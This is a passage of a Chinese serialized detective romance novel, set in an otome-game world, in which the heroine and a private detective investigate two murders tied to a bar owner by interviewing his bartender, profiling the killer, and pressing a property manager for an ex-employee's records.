选择性失忆是一种心理防御机制,个体在受到外界强烈刺激或脑部受伤之后,面临无法处理的心理压力时,可能会选择性地忘记某些不愉快的记忆以减轻内心的痛苦,缓解负面情绪。
这种失忆可能表现为遗忘特定事件或信息点、遗忘日常琐事、情感麻木、时间定向障碍、人格解体等症状,但其他方面的记忆则可以不受干扰。
跟程述讲的大差不差,不过稍微具体了些。
祝好捻着下巴琢磨:受到外部刺激后遗忘特定的事件或信息点,这倒是跟李砚川对“梦境”的描述十分相似。
难道他真的亲眼目睹了凶手杀人的现场,大脑受到了刺激,产生防御机制,所以自动把整件事深埋在潜意识里,导致他只记得一些零星的片段?
可如果按程述所说,凶手会留在现场回味杀人带来的快感,那他应该也看到了想要从后巷离开的李砚川才对。下手如此心狠手辣的一个人,为什么会选择放过他?
祝好总觉得自己遗漏了什么,但还没等她理清思路,那点模糊的灵感就如游鱼般飞速消失在思绪的缝隙中。
不知道李砚川现在怎么样了……
既然自己已经不是直接参与办案的人员了,那以普通朋友的身份跟他联系应该没什么问题吧?
犹豫片刻,祝好拿起手机拨通了李砚川的号码,片刻后,电话那头却传来“对不起,您所拨打的用户已关机,请稍后再拨”的提示音。
她看着屏幕皱了皱眉,又接连打了两次,回答她的还是那道机械的女声。
怎么回事?
她看了下时间,这会儿Inkstone酒吧应该已经开始营业了,反正闲着也没事干,既然电话打不通,不如去酒吧里找他当面聊聊。
一番思考后,祝好背上挎包,轻手轻脚下了楼往门口走去。
程述背对着她站在厨房灶台前,正把一盘搅拌好的蛋液倒进锅里,听到客厅传来的动静,回头瞅了她一眼:“去哪儿?”
“去——”祝好一时想不到合理的借口,脖子一梗,呛道:“你不是对别人的事儿没兴趣么?”
程述低头翻炒着锅里的鸡蛋:“我是没兴趣,不过你秦警官叮嘱我要看好你,别让你到处乱跑。还有,如果你是想去找你那个漂亮朋友的话还是别费劲了,刚才老秦已经派人把他带回警局了。”
祝好神色一僵,整个人愣住了:李砚川被带回警局了?为什么?
就算涉及到凶杀案的DNA检测不需要排队,但至少也应该要两天才能出结果吧,警方为什么会把李砚川带回局里问话?
程述仿佛看穿了她的心思,头也不抬地问了句:“你白天是不是在案发现场捡到了一个打火机?”
是因为那只打火机吗?
祝好记得火机是酒吧派发的,所有客户都能免费领取,而孙菲菲又刚好去过酒吧,说不定是从她身上不小心掉落的呢。
再说了,就算孙菲菲跟李砚川发生过争执,也不能单凭这个
就把他抓走吧?
除非,警方还有更确凿的证据。
她一言不发地看着程述的背影,等着他揭盅。
“那个火机上面有李砚川的指纹。”程述把炒好的鸡蛋盛到盘子里,顿了一下,又补充道:“只有他的指纹。”
祝好满脸错愕:“???!!!……”
完了,这下完了,这不明摆着要把罪名扣死在李砚川头上吗?
程述端着盘子从厨房里出来时被吓了一跳,只见祝好万念俱灰地倒在沙发上,周围笼罩着一层浓重的黑色阴影几乎要把她吞没。
他有些无语:“没必要吧?只凭一枚指纹也没法给他定罪,警察把他带去警局只是配合调查而已。”
祝好脸上的失落不加掩饰,嘴里喃喃:“要不是我捡到那个打火机,他就不会被带走了。”
程述叹了口气,把盘子搁在餐桌上:“你当警察是吃白饭的啊?找到那个打火机只是早晚的事,你只不过运气好,比他们快了一步而已。”
祝好没吭声,抱着腿蜷在沙发角落,满脑子都是李砚川脖子上套着个枷锁,跪在地上大喊“大人冤枉”的场景。
太可怜了,实在太可怜了。
不仅李砚川可怜,自己也惨兮兮的,本以为触发了隐藏线索能迎来转机,结果是给自己挖了个大坑。
想到这里,她忍不住流下两滴眼泪。
程述一屁股坐在茶几上,满脸无奈地看着她:“我说你,为了一个刚认识几天的男人就掉眼泪,不至于吧?”
祝好瘪着嘴,满脸怅然:“你懂个屁……我答应过他要帮他查清真相的,答应了别人的事情就一定要做到。”
程述觉得好笑:“你就那么相信他?凭什么?”
祝好吸溜着鼻子,含混不清道:“凭直觉。”
“凭直觉。”程述轻笑一声,阴阳怪气地重复了一遍她的话,起身到厨房去拿碗筷:“哭够了就起来吃饭。”
“你自己吃,我不饿——”话还没说完,肚子就不争气地抗议了一声,祝好尴尬地摸了摸鼻子:“随便吃两口就行。”
她支着胳膊从沙发上坐起来,抽了张纸巾抹掉眼泪,端坐在餐桌前,接过程述递来的饭碗和筷子,勉为其难夹起一块鸡蛋塞进嘴里。
该说不说,还挺好吃。
她戒备瞅了程述一眼,提防着他对自己冷嘲热讽,看他没什么反应,又不动声色地把一个鸡翅夹到碗里,猛扒了几口饭。
流了几滴眼泪发泄完心情,空荡荡的胃也填饱了,祝好又恢复了那股精神劲儿,脑子里突然冒出一个念头。
她眼珠子一转,停下筷子:“老大,我们下个季度的房租有着落了吗?”
程述抬眼看她:“问这个干嘛?”
“我这不是关心一下嘛。”祝好夹起一个鸡腿放进他碗里,摆出一个谄媚的笑:“如果现在有一个委托——报酬很丰厚的那种,摆在你面前,你接不接?”
程述看着碗里的鸡腿,想也不想:“不接。”
“你就不问问我是什么委托?”
他从鼻腔里发出一声哼笑:“除了帮你那位漂亮朋友的忙还能是什么。”
“什么漂亮朋友,人家有名字,他叫李砚川。”祝好语气转了个弯,语重心长道:“你想想,他那么有钱,如果你能帮他洗清嫌疑,那好处是不是大大的有?至少下一个季度的房租你都不需要担心了。”
程述毫不领情:“我现在也不需要担心,警局发的工资够用了。”
祝好用筷尾敲了敲桌沿,说得振振有词:“你这人目光怎么这么短浅呢?一个季度之后还有下一个季度,万一你这侦探事务所做大做强了,是不是还得换个大点儿的地方?搬家和装修要不要花钱?再往长远了想,你这辈子总不能就这么单着吧,将来谈恋爱、哄女朋友开心要不要花钱?钱嘛,当然越多越好,谁会跟钱过不去啊?”
听完她蹦豆子似的说了一大堆,程述掀起眼皮,目光在她脸上转了一圈:“你考虑得还挺周到,连终身大事都替我规划好了。”
“那可不!”祝好只当他是夸奖,满脸期待:“那你接不接?”
他贱兮兮地笑了笑:“不接。”
祝好瞬间垮了脸,嘟囔了句“没劲儿”,伸手把鸡腿从他碗里夹回来,刚要狠狠地咬一口,就听到他轻飘飘地补充了一句:“不过如果他真的给得够多,也不是不能考虑。”
祝好愣了一下,眼睛一亮,飞速把鸡腿还到他碗里:“绝对够多,要多少有多少,要不到时候我跟他商量商量,把他车库里那辆跑车要过来都行。”
程述倒是没纠结酬劳的问题,换了个话题问她:“所以昨天晚上你去酒吧找他,不只是单纯地安慰他吧?”
既然话都说开了,祝好也不再隐瞒,点了点头:“还记得我们去他家的时候,他说过自己一直在做梦,一晚上都没睡好吗?”
她把筷子搁在碗边,正色道:“他说他梦到了阴暗的巷子、倒在地上的人还有很多血,我刚才查了一下你说的‘选择性失忆’,觉得他很有可能是因为受到了惊吓,大脑自动把这件事屏蔽了。”
程述还是那个问题:“你连选择性失忆都想到了,就没想过事情真的是他做的?”
祝好实话实说:“想过,不过我还是选择相信他。”
“为什么?”
为什么?总不能告诉他因为李砚川是个可攻略对象,她觉得可攻略对象都是好人,所以选择相信他吧?
祝好懒得解释,含糊地敷衍道:“一,直觉。二,直觉。三,因为他长得好看,好看的人就是能获得更多信任。再说了,他现在也算是我们的雇主,我们要帮他查清真相,首先就不能把他摆在嫌疑人的位置上。”
程述装模作样叹了口气:“老秦让你在家休息,你偏要跟他对着干,还要把我拉下水。”
祝好理直气壮:“怎么说话呢!这哪叫对着干?顶多算是……场外援助。”
也不知是觉得无奈还是好笑,程述弯着嘴角摇了摇头,不过倒是对她这一番歪理邪说没有再深究。
祝好咬着筷子,小心翼翼地试探:“那你这算是……答应了?”
程述专注低头吃饭,含糊不清地嗯了一声:“谁会跟钱过不去,这不是你说的吗?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
50-60
第51章
Inkstone酒吧门口冷冷清清,连招牌上的灯都没打开,几个员工正把门口摆着的花篮搬进店里。
看到他们往店里走,其中一个穿着西装马甲、戴着领结的男青年放下手里的花篮,抹了把额头上的汗,提醒了一句:“抱歉啊,我们今天不营业。”
祝好认出他是酒吧里的调酒师,之前来的两次都与他打过照面,便朝他招了招手:“你不认得我了吗?我是你们李老板的朋友。”
调酒师疑惑地扫了她一眼,想了想,恍然道:“哦,是你啊,想起来了。”
随即语调又降了下来,带着些失落:“你来找我们老板吗?他今天有事,不在店里。”
祝好说:“我知道。”
调酒师看他们没有要走的意思,有些疑惑:“那你们——”
程述应道:“方便聊聊吗?”
“聊什么?”
“聊你们老板。”
调酒师皱着眉看了看程述,又看向祝好,脸上的疑惑更甚,还带了些戒备:“聊我们老板什么?”
程述没回答,淡淡地往灯光昏暗的酒吧里看了一眼,问道:“警察刚离开?”
调酒师一愣,随即扭头看了看四周,干咳一声,压低声音:“这事儿最好别外传,影响不好。”
祝好点点头表示理解,毕竟陈少的死闹得沸沸扬扬,酒吧才刚开业生意就已经冷清不少,如果被人知道身为老板的李砚川被带到警局问话,那对酒吧的影响就更大了。
程述抬手向着酒吧的方向示意:“那找个安静的地方吧。”
调酒师犹豫了一下,把手里的花篮交给其他同事,领着他们去了员工休息室。
门一锁上,他就迫不及待地问:“你们怎么知道警察来过?”
祝好给他递上一张名片,拍了拍程述的肩膀道:“这位是我老大,他是个私家侦探,我们是来帮你们李老板的。”
想了想,又补充道:“我们可不光只会找猫找狗抓小三,还抓过很多坏人的,”
程述剜了她一眼 ,给了她一个“后面那句不说也行”的眼神。
调酒师接过名片仔细看了几眼,又还给祝好,眼神里透出不加掩饰的担忧:“老板被警察带走,是不是跟那个官二代的死有关系?”
程述没回答,反问道:“你在这儿工作多久了?”
调酒师答:“从老板把酒吧搬到这儿之前我就已经跟着他干了,应该有四五年了吧。”
“你们老板是个怎么样的人?”
“他人很好,一点架子都没有,认识那么久我几乎没看他跟人发过脾气。”
虽然跟李砚川认识没多久,但他留给祝好的也是这样的印象,连跟他共事四五年的人都这么评价的话,那应该不是伪装出来的。
祝好问调酒师:“你记不记得昨天晚上,吧台前面有两个坐在一起的女孩?”
调酒师点点头,昨天晚上客人并不多,所以他印象很深刻。
“你们是想问那个穿豹纹短裙的女孩吧?刚才警察也问过我,还拿走了店里的监控录像。”
顿了顿,他小心翼翼地问:“那女孩儿怎么了?”
程述没有过多解释,只是说:“你把昨晚记得的事都跟我讲一讲,从她们走进酒吧开始,说过什么,做过什么,尽量讲得详尽点儿。”
他的语气一如既往的干巴,祝好早就习以为常了,不过她还是看出年轻气盛的调酒师对这带着命令的口吻有些不悦,便开口解释:“我听说那女孩儿跟李老板发生过冲突,这件事或许跟他被带进警局又有点儿关系,只有知道昨晚发生了什么,我们才能想办法替他摆脱嫌疑。”
听闻是为了帮助李砚川,调酒师的脸色这才稍稍缓和了些,他倚靠在桌沿上,垂下眼帘,陷入了回忆中。
孙菲菲和罗佳怡大概是晚上九点多来的酒吧,两个人打扮得很时尚,长得也很漂亮。昨晚酒吧里的客人并不多,所以调酒师对她们印象很深刻。
她们在吧台前坐下,点了两杯酒后,一开始只是聊聊八卦、用手机自拍,直到孙菲菲注意到坐在角落里的李砚川,用胳膊肘碰了碰罗佳怡,朝着李砚川的方向对她使了个眼色。
罗佳怡眼神一瞥,会心地笑了笑,怂恿道:“那你还等什么,上啊,怕人家看不上你啊?”
孙菲菲“切”了一声:“我怕什么?老娘什么时候失败过?”
调酒师道:“我当时还跟她打赌,说我们老板没那么容易搞定,她非不信,说从来没有男人能逃出她的手掌心。不过她正要过去搭讪,你就来了。”
祝好记起昨晚从她走进酒吧开始,孙菲菲和罗佳怡就频频往这边儿看,估计是一直在等她让位呢。
果不其然,调酒师继续道:“你前脚刚走,那个女孩就拿了两杯威士忌去了老板那一桌。”
调酒师当时也是抱着看热闹的心态偷偷观察着她的举动,毕竟跟李砚川搭讪的人不少,但几乎没有人成功过,也有打着客户的名义要他联系方式的,都被他用酒吧的客服号打发了。
祝好内心暗暗啧了声,以李砚川的身份地位,放在现实世界里绝不是什么纯情人设,这样的男人果然只存在乙游里。
不出所料,孙菲菲的搭讪并不顺利,一开始他们对话的声音并不大,调酒师没听清他们对话的内容,只看到李砚川礼貌地微笑着对她摆了摆手,看样子是婉拒了。
一般人被拒绝后都会知难而退,可孙菲菲一回头,看到罗佳怡和调酒师向她投来八卦的目光,不想在朋友面前丢了面子,又转过头对李砚川软磨硬泡。
调酒师接着道:“老板可能是被她磨得不耐烦了,说如果能让他一个人安静一下,今晚的酒水他买单。那个女孩大概喝了酒有些上头了,觉着老板这话是看不起她,突然起身指着他骂了几句很难听的话。”
终于听到最关键的地方,祝好忙问:“她骂了什么?”
“她说——”调酒师顿了顿,仿佛在斟酌如何开口:“说我们老板装|逼,只是表面上假清高,背地里要么玩得很花,要么就是个垃圾同性恋,反正骂得挺难听的,当时老板的脸色也很不好看,毕竟店里还有其他客人在,我和她朋友赶紧上去拉住她劝了几句。”
祝好敏锐地从他的话里捕捉到一丝端倪,目光跟程述短暂一碰,接着飞快地打断了调酒师的话:“等等,‘垃圾’这个词是你自己添油加醋,还是她真的这么说了?”
调酒师瞪大双眼,急着为自己辩解:“她就是这么说的,我一个字都没改!”
程述问:“当时李砚川除了脸色不好,还表现出什么情绪吗?比如愤怒或者不满。”
调酒师仔细回想片刻,摇了摇头:“那倒没有,他也不是第一次遇到这种胡搅蛮缠的客人了,而且我们过去劝阻后,那女孩有了台阶,立刻就转身离开了,而且走之前最后还是把酒钱给付了。”
看来所谓的“冲突”,不过是孙菲菲单方面输出。
程述又问:“她们离开的时候几点?”
许是刚被警察问过话,调酒师回答得很快:“凌晨一点半左右。”
“那你们老板呢?”
“他一直在店里呆到打烊,大概是凌晨四点吧,酒吧里的监控拍得很清楚,不过被警察拿走了。”
听到这里,祝好暗暗松了口气。
温珣初步判断孙菲菲的死亡时间是凌晨的两点到四点,如果李砚川四点才从酒吧离开,他根本没有足够的时间作案,那么他的不在场证明也就很充分了。
*
从酒吧里出来,空气变得格外闷热潮湿,天空中压着一层厚厚的浊云,时不时有闷雷声响起。
趁着程述去取车的时候,祝好到马路对面的便利店买了两瓶水。
收银台里的售货员换成了一个年轻小姑娘,看样子只有十八九岁,她拿着扫码机扫了半天也没扫出瓶身上的条码,急得满脸通红地向祝好道歉:“不好意思,我才来了两天,还不是很熟练。”
祝好笑着说没事,用袖子擦掉瓶身上的水,这才成功扫码结了账。
回到车里,她把一瓶水递给程述:“老大,有什么头绪吗?”
程述接过水拧开瓶盖却没有喝,而是很自然地塞回祝好手里,又把另一瓶没拧开的水拿过来:“我现在觉得你那位漂亮朋友——”
祝好不满地打断他:“说了人家有名字。”
“那个李砚川,嫌疑很大啊。”他拧开另一瓶水喝了一口,顿了顿:“陈少打了他的脸一拳,当天就死在后巷里,脸还被砸得稀巴烂。孙菲菲说他是垃圾,转眼尸体就被扔在垃圾堆里。”
“可是——”
程述抬手掐断她未完的话:“我知道你想说什么,的确查到现在,种种迹象都表明这两起案子的凶手不是李砚川,但又跟他有着千丝万缕的关系,你要说老秦怀疑他指使了其他人报复,也不是没有道理。”
祝好追问:“那你是怎么觉得的?”
他手指有规律地敲击着方向盘,露出沉吟不决的神色,祝好知道这是他思考时的习惯性动作,便没有打扰,只是静静地等待着。
等了半晌,他才缓缓开口:“攻击类型一般分为两种,一种是敌意性或表达性攻击,另一种是工具性攻击,需要根据行为者攻击的目标或者攻击的回报来划分。”
这话开始得没头没脑,但祝好还是认真地侧耳聆听。
他继续道:“工具性攻击源于竞争或是想要从受害者那里获取他们所拥有的财物与身份,比如珠宝、钱财、领土等等。”
祝好接茬:“也就是抢劫或者偷盗?”
“可以这么理解。”
祝好思忖片刻:“凶手对陈少和孙菲菲的攻击明显抱有敌意,应该属于另一种攻击类型吧?”
程述点了点头:“敌意性或表达性的攻击,是对愤怒诱导条件的反应,比如攻击者受到的侮辱、攻击和自己的失败,这种攻击的目的在于在让被害人感受到痛苦,因此通常会伴随强烈、失控的愤怒情绪。”
这两起案子的犯罪现场都十分混乱无序,而且陈少和孙菲菲的尸体上存在着过度杀戮的痕迹,说明凶手行凶时处于极度愤怒的状态,他的意图不仅仅是将被害人杀死,而是想让他们感受到同等的痛苦。
祝好很快反应过来:如果凶手是受了李砚川的指使,那么顶多就是拿钱办事,把人杀了就行,根本不用再大费周章砸烂陈少的脸,或是把孙菲菲拖到垃圾堆里,毕竟这对他来说根本就是多此一举,甚至还有被人发现的危险。
愤怒,敌意,痛苦……
李砚川为了帮祝好解围被陈少打了一拳,又因为拒绝了孙菲菲的搭讪而被骂“垃圾”。这些情绪就算要有,也应该属于他才对。
凶手跟他究竟是什么关系?为什么这些本应该属于李砚川的情绪,会在凶手身上表现出来?
祝好心头微动,喃喃了句:“会不会是——”
话说到一半又收住了,毕竟这只是个猜测,没有证据。
程述仿佛摸透了她的心思:“我们现在不是警察办案,不需要讲求证据,你可以按你所谓的‘直觉’大胆推测一下。”
祝好这才开口:“会不会是有人想要报复他,所以杀了那些跟他产生矛盾的人,然后嫁祸到他身上?”
程述很快否定:“如果是想要报复,与其费老大劲杀死两个无辜的人,直接对李砚川下手不是更快一些吗?”
有道理。
祝好有些发懵了:“那你说为什么?”
程述给她意见:“不如你换个思路,试着从凶手的角度去看这两起案子。”
从凶手的角度……
李砚川被陈少打了一拳,又遭到了威胁,所以他出手杀了陈少,还把他的脸砸烂。
而孙菲菲因为搭讪不成恼羞成怒,用‘垃圾’这个词辱骂了李砚川,所以凶手把孙菲菲杀了,扔在垃圾堆里。
祝好脑袋里打过一道闪:难道说,凶手是在李砚川不知情的情况下,替他除掉那些跟他“有仇”的人?
程述笑了一下,不置可否:“你有没有发现,两起案子的犯罪现场都十分凌乱,作案地点也是随机选择的,凶手甚至没想过把尸体藏起来,这说明他属于无序性犯罪者。”
“无序性犯罪者?”
他接着解释:“这种类型的犯罪者智商或文化程度不高,缺乏社交,做事冲动,杀人手段残忍,而且几乎不会考虑反侦查的问题。但由于缺乏计划,常常会在犯罪现场留下证据,就比如那个烟头。”
祝好迅速从他的分析里发觉了一丝端倪。
凶手既然属于无序性犯罪者,却能在把李砚川送回家后,却把他扶到床上,把向日葵插到花瓶里,甚至替他清理了衣服上的血迹。而李砚川家里只有他自己的指纹,说明他在做这一切的时候十分小心地戴上手套,避免留下自己的指纹,从而连累李砚川。
这些行为与混乱的犯罪现场大相径庭。
程述扶着方向盘,沉吟片刻,给出结论:“凶手对李砚川抱有一种病态的幻想,他应该患有某些精神方面的疾病,并且已经很严重了,不过他自己并没有意识到这一点。在他的意识里,他所做的一切都是为了李砚川,甚至不惜为了他去杀人。”
一阵寒意窜上祝好的脊背,所有或明或暗的线索在这一刻终于严丝合缝地对上扣,把事情的始末串联起来。
难怪这两起谋杀案总是隐隐约约指向李砚川,可他却总是一副蒙在鼓里的样子,祝好暗自庆幸自己的直觉没错,他果真对此毫不知情。
把程述“拉下水”果然是个正确的选择,多了一个聪明的大脑,真相很快就近在咫尺了。
她浮夸地“啧”了一声,拍了拍程述的肩膀:“我终于知道秦警官当初为什么一定要想尽办法把你弄回警局了。”
程述微不可察地勾了下嘴角,也浮夸地叹息:“可惜啊,被你那么一搅和,他暂时失去了我这么个天才。”
说回正题,这推测一切虽然看似合理,却没有足够的证据支撑,因为其中缺少了最关键的一环:这个人究竟是谁?
祝好把探寻的目光投向程述。
程述说:“从别墅区的监控上看,凶手把车开进小区后就径直开到李砚川家,说明他对小区的内部结构很了解,但他留在犯罪现场的烟头是个很便宜的牌子,所以不大可能是里面的业主。”
祝好也想到了这一点。
别墅区的安保措施十分严格,一般人没办法随意进出。对小区内部如此了解,如果不是业主的话,那最有可能就是物业的工作人员。
一道白色的闪电穿透云层,划破了漆黑的夜幕,随即闷雷声滚滚而来。
程述抬眼看了下黑沉沉的天空,喃喃道:“要下雨了,先回去吧,明天再去物业打听打听。”
还要等到明天啊。
也是,毕竟这个点物业早就下班了,而且离开警局前秦聿风还收走了程述的证件,他们根本没有办法用警察的身份去问话。
祝好还是有些担忧:“李砚川会怎么样?”
程述斜她一眼:“你怎么那么关心他?”
祝好怼他:“不行吗?你吃醋啊?”
他嗤笑一声,为了表现出自己的不屑,差点把白眼翻到天上:“放心吧,孙菲菲遇害时他有不在场证明,警方找不到确凿的证据,最多只能拘留他24小时。他嘛,顶多就是坐久了屁股疼一些,不会渴着饿着的。”
*
回到家里洗漱完毕,祝好躺在床上,打开了控制面板,点开“剧情回顾”的选项,把时间拉到昨天晚上刚走进酒吧那一刻。
当时她的视线只是匆匆掠过吧台,并没有过多留意那些客人,所以在见到孙菲菲的第一眼才没有马上认出她来。
这回借着“剧情回顾”的暂停功能,她聚精会神注视着吧台前坐着的客人。
背对大门而坐的是一个穿着职业套装和高跟鞋的女人,看起来像是某家公司刚下班的白领,正一个人小酌。
再往前隔着两个座位是一对小情侣,他们靠在一起耳鬓厮磨讲着情话,沉浸在两个人的世界中,完全不在意旁人的眼光。
小情侣旁边就是孙菲菲和罗佳怡,跟调酒师说的一样,两个人在祝好进来之前注意力就一直在李砚川身上,凑在一起不停窃窃私语。
陈少和孙菲菲被杀害时,距离他们与李砚川发生争执不过一两个小时的时间。也就是说,凶手一定在场目睹了他们争执的过程,才会在事情发生不久后就对他们进行所谓“报复”。
然而酒吧里仅有的这几个客人,看起来都不像是能够狠下心用锤子把人砸死的狠角色。
难道会是酒吧里的员工吗?
也不对,警方最先开始调查的就是酒吧,就是如果是酒吧员工,应该早就被查出来了。
祝好毫无头绪,只好摁下播放键,继续观看剧情回顾。
随着脚步往李砚川的方向走去,她的目光也逐渐从吧台移开。然而就在余光处,她看到角落里坐着一个男人,穿着黑色T恤,头戴一顶鸭舌帽,面前放着一包烟。
她迅速暂停画
面,仔细观察桌上的烟盒,心脏砰砰直跳——那包烟跟程述在孙菲菲被害的现场找到的烟头是同一个牌子!
这个男人会是凶手吗?
角落里灯光昏暗,他几乎整个人都没在阴影之中,只能勉强看到他被鸭舌帽遮住大半的侧脸。
可惜她当时只是匆匆一瞥,之后一直跟李砚川谈话,再也没往那个方向看去,所以就算是剧情回顾也没法获得更多关于他的线索。
即便如此,她还是莫名觉得那张脸有些熟悉,似乎在哪儿跟他打过照面。
在哪儿呢?
她又把时间调到了酒吧开业那天晚上陈少把拳头砸向李砚川的那一刻。
剧情开始,李砚川趔趄着撞到了身后的装饰柱上,人群中爆发出一阵惊呼,接着几乎整个酒吧里的人都围了过来。虽然当时她大部分注意力都集中在陈少和李砚川身上,但所幸还是习惯性地扫了人群一眼。
祝好一帧一帧摁下暂停键,视线在那些人脸上来回穿梭。时间不知不觉流逝,她眼睛都瞪得酸涩了,却始终没有找到任何能跟那张侧脸重叠的面孔。
奇怪,难道说开业当天那个男人不在酒吧里吗?
可如果他不在酒吧,又怎么会知道李砚川被陈少打了呢?
折腾了一天,体力值又只剩下20了,祝好忍不住打了个长长的哈欠,混乱的思绪也随着席卷而来的困意掉进一片浆糊里,随即不知所踪。
她正要伸手关掉台灯,就听到窗外狂风大作,树枝被吹得哗啦啦作响,空气中隐约漂浮着一股潮湿的泥土气息,仿佛正孕育着一场暴风雨的来临。
第52章
李砚川住的别墅区算淮江市最富有的居民区之一,毗邻森林公园,距离核心商圈只有十分钟的车程,周边各种配套设施也十分齐全。
别墅区里绿化很好,宽敞的道路两旁种满香樟树,昨夜刚下完一场大雨,来的路上满地都是被雨水打落的树枝和叶子,然而别墅区的路面却十分干净,一片落叶也没见着。
物业的办公楼就在别墅区里,前台是个挺漂亮的年轻女孩,她把程述和祝好领进物业经理的办公室,请他们在待客的沙发坐下。
程述的视线毫不避讳地在她脸上转了一圈,直到她转身走出门外,祝好用胳膊肘捅了他一下,他才把目光收回来。
经理姓谢,穿着西装打着领带,梳着个油光锃亮的大背头,一副公事公办的模样:“请问有什么事吗?”
祝好说:“是这样的,我们想要向您了解点情况……”
话刚说到一半,就被他打断:“冒昧问一下,二位是哪号楼的业主?”
祝好客套地笑了一下,起身掏出一张名片递上前,说明来意:“我们是受这里的业主所托,来办点事的。”
谢经理接过名片只粗略扫了一眼,又上下打量着他俩,哈哈一笑,语气讥诮:“侦探?你们这是拿我寻开心吧?抱歉,物业是为业主服务的,不是跟你们玩过家家的。你们不是业主的话,请不要浪费我的工作时间。”
说完把名片往桌上一扔,拿起保温杯喝了口水,往门口的方向抬了抬手,示意他们离开。
看来没有警察证件,想要获取线索简直是寸步难行。
祝好侧头看了看程述,只见他抱着双臂,翘着二郎腿倚在沙发里,没有要离开的意思,只是笑了笑,波澜不惊地问了一句:“谢经理,您所谓的工作时间,是用来跟员工打情骂俏的吗?”
谢经理闻言脸色一变,把保温杯重重搁在桌上,面露愠怒:“什么打情骂俏,你哪只眼睛看到我跟员工打情骂俏了?”
程述佯装无孤耸了耸肩:“虽然我只是个不入流的侦探,不过跟踪偷拍的经验多了,两个人之间什么关系,我一眼就能看出来。你可以质疑我的人品,但可别质疑我的职业素养啊。”
“你……你胡说八道!无中生有!信口雌黄!赶紧走,不然我就叫保安了!”
谢经理激动得声音发颤,唾沫星子乱飞,恨不得把肚子里的成语全用上以证清白。然而他刻意加快的语速和多少的眼神,无一不透露着心虚。
程述转向站在办公桌前的祝好:“小助手,你们女孩子对化妆品比较了解,你看看谢经理保温杯上的唇印,跟刚才那个前台客服嘴上的口红颜色像不像?”
祝好立刻明白了他的意思,趁着谢经理没反应过来,一把捞起桌上的白色保温杯,端详着杯沿上那枚玫红色的口红印子,故作惊讶:“真的是同一个色号!”
说完眼神看向他桌上的一张一家三口的全家福,痛惜地摇了摇头:“啧,谢经理,你老婆知不知道你跟同事关系那么好呀?都共用一个杯子了。”
谢经理一愣,支支吾吾说不出话来,脸上的忐忑无处可藏。
祝好狠狠咬了下自己的嘴唇,才忍住没笑出声,她清了清嗓,适时唱起了白脸:“谢经理,我们要问的事只需要十分钟,不会耽误您为业主服务的。”
谢经理下颌微微抖动,脸上的肌肉略有扭曲,许久才不情不愿开口:“你们想问什么?”
祝好跟程述交换了一下眼神,转头对谢经理道:“想跟你打听个人。”
“什么人?”
程述调整了坐姿:“你们物业有没有这样一个员工,年龄在20到25岁之间,男性,身材瘦弱或者有某些方面的残疾,比如腿脚不太方便等。”
谢经理皱眉:“我们物业从上到下有上百名员工,这个范围太广了,还有什么其他特征吗?”
程述想了一下:“他从事的不是技能性的工作,也不需要与小区的住户沟通交流。”
“那就是保安、保洁一类的工作。”
程述继续缩小范围:“他性格很内向,几乎不和同事交流,常常会因为一些小事发火,周围的人都不太愿意跟他接近。”
谢经理思忖片刻:“你这么一说,我倒是想起来一个人,他叫郑文昊,是个保洁,患有小儿麻痹症,腿脚不太利索,不过他半个月前已经被辞退了。”
祝好忙问:“为什么被辞退?”
“他跟同宿舍的人打架,而且……”谢经理顿了一下,却没有继续说下去。
“而且什么?”
谢经理轻咳了一声:“没、没什么。”
祝好看出他有所隐瞒,想了想,试探性问道:“他是不是偷偷潜进过业主家里?”
凶手把李砚川送回家后,离开之前还不忘删掉监控录下的画面。能对李砚川家的布局如此了解,一定不是第一次进去了。
谢经理怔了一下,双手交叠支着下巴,纠结半天才开口:“有的业主会给我们留下家里的钥匙或密码锁的密码,以防出门在外时家里有突发情况,比如忘了关燃气,或者某个房间的门锁突然坏了打不开之类的,方便我们进去帮忙。郑文昊偷偷用物业的系统查到了某位业主家的密码,趁业主不在家时偷偷潜进去,被保安抓了个正着。”
祝好和程述交换了个眼神,问道:“他偷偷潜进去的那户人家,业主是不是李砚川?”
谢经理满脸愕然,似乎想不明白他怎么会知道,但又突然想起祝好说的“受这儿的业主所托”,便也没再深究,点点头道:“就是那位业主。”
“这件事你们告诉他了吗?”
谢经理抽出一张餐纸,擦掉脑门子上的细汗,轻轻摇头:“虽然这件事确实是物业的失职,但是当时我们仔细搜了他的身,并没有发现他从业主家里带走什么值钱的物品,为了不影响公司的声誉,就……就把事情压下来了。”
程述问:“也没报警?”
“没、没有。”谢经理心虚地干咳了一声,又急忙辩解:“不过我们当场就把他辞退了。”
“郑文昊的资料你们还留着吗?”
谢经理点点头,在电脑上点了几下,把屏幕转向他们。
郑文昊的档案看起来并十分普通,没有任何不寻常之处。不过他文化程度不高,身高也不到一米七,还患有小儿麻痹症,这些特征倒是跟程述的侧写相符。
端详着屏幕上那张略显稚嫩的脸庞,祝好的心猛地一紧:虽然不能百分百确定,但郑文昊跟
剧情回顾里只能看到侧脸的那个男人有七八分相似。只是她依旧想不起来,自己到底在哪儿跟他打过照面。
程述的话打断了她的思绪:“谢经理,刚才你说郑文昊跟宿舍里的人打架,原因是什么?”
“具体的我不太清楚,不过我可以找个跟他同宿舍的人来问问。”物业经理拿起手机刚要拨电话,突然想起了什么,干巴巴地对他笑了一下:“对了,那个,口红的事……”
程述抱着胳膊,嘴角弯起一个弧度:“放心吧,我不会说出去的,不过你听我一声劝,既然有老婆孩子了就别想着在外面乱搞,我可不敢保证你夫人不会成为我的客户。”
谢经理眼角一抽,腮帮子上肉抖了抖,似乎想说什么,但最终还是咽了下去,拿起手机拨了一个电话。
过了一会儿,办公室的门被敲响了,一个穿着保安制服、皮肤黝黑的男人走了进来,哈着腰对着谢经理挥了挥手掌:“谢经理,您找我?”
“这是小王,之前跟郑文昊一个宿舍的。”谢经理介绍完,又转向被唤作小王的保安:“小王,他们要问你一些关于郑文昊的问题,你配合一下。”
小王面露疑惑,但碍于谢经理在也不好多问,只说:“什么事?”
祝好也不跟他兜圈子,开门见山问道:“你平时跟郑文昊接触多吗?”
小王看了谢经理一眼,答道:“不算吧,我们宿舍有三房一厅,每个房间住俩人,他住我隔壁,我俩不是一个房间的。”
程述道:“说说看,他这人平时怎么样?”
“他?他看起来挺老实的,总是独来独往,也不爱说话,我们一开始去KTV或者小搓一顿都会问他一句,可他每次都拒绝,时间长了大家也就习以为常了。”小王犹豫了一下,接着道:“而且吧,他那方面有些不正常。”
程述皱眉:“哪方面?”
